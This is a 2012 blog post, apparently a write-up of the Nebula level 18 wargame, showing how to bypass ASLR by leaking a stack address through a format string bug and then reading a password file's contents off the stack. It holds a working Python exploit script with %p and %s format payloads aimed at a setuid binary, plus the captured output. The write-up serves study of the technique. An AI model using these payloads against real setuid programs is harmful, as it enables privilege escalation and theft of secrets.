Saturday, September 29, 2012

Defeating ASLR Using Information Leak

In this post I will explain how ASLR can be defeated using information leak. I tried to solve Nebula [18] by taking advantage of format string vulnerability and information leak. The idea is to call the "login" function, then fgets() is used to copy the password into the stack. Then call the "notsupported" function and use the format string vulnerability to read the password from the stack. But the problem is file[64] buffer is small, during the call to "notsupported" function the password of previous stack frame is overwritten. So this is not a solution but just a POC how this approach can be used incase the data is not overwritten.

Even if the buffer is big enough, we still have ASLR which will make this attack difficult. ASLR will randomize the address of file buffer during each run. What we will do is call "notsupported" function twice. First time to read some address from the live running process using format string vulnerability, compute the new address of file buffer using the leaked information, call the "notsupported" again with the final payload to read the password.

To demostrate this, declare the buffer size to be file[512]. Nebula root account is used to compile a new binary with necessary permission changes. Also disable ASLR for debugging purpose, we will enable it by the end. GDB is used to find the address of file[512] buffer 0xbffff3fc.

level18@nebula:/tmp$ ls -ld /home/flag18/flag18_leak
-rwsr-sr-x 1 flag18 level18 17372 2012-01-27 07:33 /home/flag18/flag18_leak

//login function
#define PWFILE "/home/flag18/password"

void login(char *pw)
 FILE *fp;
 fp = fopen(PWFILE, "r");
 if(fp) {
  char file[512]; //buffer size modified for demonstration
  if(fgets(file, sizeof(file) - 1, fp) == NULL) {
   dprintf("Unable to read password file %s\n", PWFILE);
  if(strcmp(pw, file) != 0) return;  
 dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");
 globals.loggedin = 1;
We pick up a address from the stack, here its the 8th DWORD. The difference between the address picked from this position and file[512] is found to be 0x240 bytes.
#!/usr/bin/env python
import os
import sys
from time import sleep
from string import find,rfind
from struct import pack

pipe_r, pipe_w = os.pipe()
param = ["/home/flag18/flag18_leak","-dformat","-vvv"]
pid = os.fork()
if pid == 0:
        # child process
        os.dup2(pipe_r, 0)
# parent process
#file_addr = 0xbffff3fc
#rand_addr = 0xbffff63c
diff = 0x240 # rand_addr - file_addr
payload = "login\nsite exec ZZAAAA.%p.%p.%p.%p.%p.%p.%p|%p|%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n"
os.write(pipe_w, payload)
sleep(3) #wait till the file is created for read
leak_data = open(param[1][2:],"r").read()
rand_addr = eval(leak_data[find(leak_data,'|0')+1:rfind(leak_data,'|')])
file_addr = rand_addr - diff  #randomized address of file[512] buffer
print("[*] Using address: {0}".format(hex(file_addr)))
final_payload = "login\nsite exec ZZ" + pack("<I",file_addr) + ".%p.%p.%p.%p.%p.%p.%p|%p|%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%s\n"
os.write(pipe_w, final_payload)
Without ASLR
level18@nebula:/tmp$ cat /proc/sys/kernel/randomize_va_space 
level18@nebula:/tmp$ python 
[*] Using address: 0xbffff3fcL
level18@nebula:/tmp$ cat format | tail -1
level18@nebula:/tmp$ cat /proc/sys/kernel/randomize_va_space 
level18@nebula:/tmp$ python 
[*] Using address: 0xbfc3b37cL
level18@nebula:/tmp$ cat format | tail -1
level18@nebula:/tmp$ python 
[*] Using address: 0xbf93d0bcL
level18@nebula:/tmp$ cat format | tail -1
As you can see, we managed to read the password 44226113-d394-4f46-9406-91888128e27a from the stack using format string vulnerability bypassing ASLR.

No comments :

Post a Comment